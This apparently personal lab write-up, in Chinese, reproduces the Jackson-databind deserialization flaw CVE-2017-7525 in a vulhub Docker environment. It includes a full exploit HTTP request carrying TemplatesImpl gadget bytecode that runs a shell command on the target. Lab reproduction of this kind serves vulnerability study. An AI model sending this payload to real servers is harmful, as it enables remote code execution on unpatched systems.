Jackson-databind 反序列化漏洞复现（CVE-2017-7525）

环境搭建

启动docker

systemctl start docker

下载环境

git clone https://github.com/vulhub/vulhub.git

也可以使用码云上个人维护的镜像

git clone https://gitee.com/fahawifi/vulhub.git

生成docker环境

cd /root/vulhub/jackson/CVE-2017-7525
docker-compose up -d
docker ps

查看到docker容器运行

漏洞检测

区分 Fastjson 和 Jackson

{"name":"S", "age":21}

{"name":"S", "age":21,"agsbdkjada__ss_d":123}

这两个fastjson都不会报错，而jackson会报错，因为Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,所以会报错。

漏洞复现

访问

http://192.168.164.152:8080/

这里的ip为我虚拟机的ip

进入docker容器命令行

docker exec -it 14f /bin/bash
cd /tmp
ls

这里的14f是docker ps命令的CONTAINER ID
发送数据包

POST /exploit HTTP/1.1
Host: 192.168.164.152:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 1298

{
  "param": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": [
  "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="
      ],
      "transletName": "a.b",
      "outputProperties": {}
    }
  ]
}

发送数据包

执行了touch /tmp/prove1.txt命令

小结

对于这个漏洞只是复现，对于原理包括payload的修改一点都不会，所以以后需要补上

参考文章

https://github.com/vulhub/vulhub/tree/master/jackson/CVE-2017-7525